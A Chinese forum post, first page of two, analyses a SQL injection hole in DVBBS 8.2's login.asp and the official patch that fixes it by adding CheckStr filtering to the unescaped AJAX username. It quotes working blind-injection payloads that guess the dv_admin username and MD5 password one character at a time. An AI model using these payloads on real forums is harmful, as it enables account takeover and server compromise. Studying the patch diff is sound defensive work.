|
动网DVBBS8.2 注入漏洞官方更新文件的分析报告
昨天有人贴出漏漏洞。。问题出在LOGIN.ASP中。。。具体引用原文如下:
漏洞描述:
(引用文字具体在:)
中国应用最广泛的论坛程序,最新dvbbs8.2的注入漏洞0day 包括官方版本在内的access及sql版本。漏洞存在源程序 login.asp
Login.asp 程序在检查隐藏值user用户名的登陆时没有过滤特殊符号,导致可以利用sql注入方式猜解出论坛管理员及所有用户的密码或者执行其它高级的sql语句直接威胁到服务器安全。
判断漏洞存在如图
特别注意:admin等。。。必须在论坛有注册。。。
就是登陆名必须是已经在论坛注册了的。。
根据返回信息,第一条显示用户名或密码错误第二条显示无此用户,猜解用户
where' and 1=(select count(*) from dv_admin where left(username,1)='a') and '1'='1
where' and 1=(select count(*) from dv_admin where left(username,2)='ad') and '1'='1
……………………….
……………………
…………………….
猜解密码(md5加密)
where' and 1=(select count(*) from dv_admin where left(password,1)='1') and '1'='1
where' and 1=(select count(*) from dv_admin where left(password,2)='15') and '1'='1
……………………
……………………
……………………
经测试可以猜出管理员用户名。。但MD5密码始终无法猜出。。。
期待高手解答。。。
今天一早起来。。。打开动网。。马上看到更新程序。。。(标属为重要更新,看来危害不小,不愧为洞网)。。
马上下载下载。。与原先的程序进行比较。。得出修改的代码
用到的命令为FC.exe
1. ASP为动网更新文件 2.ASP为存在漏洞的文件
命令格式为:fc.exe 1.asp 2.asp >>1.txt
(文件我会打包发到论坛上)
经测试:修改的文件有四处:
1.***** 1.asp
username=trim(Dvbbs.CheckStr(request("username")))
If ajaxPro Then username = Dvbbs.CheckStr(unescape(username))
End If
***** 2.ASP
username=trim(Dvbbs.CheckStr(request("username")))
If ajaxPro Then username = unescape(username)
End If
注:此处是改动最重要的地方(具体原因还期待高手解答)
好像就是漏洞形式的地方
[1] [2] 下一页 |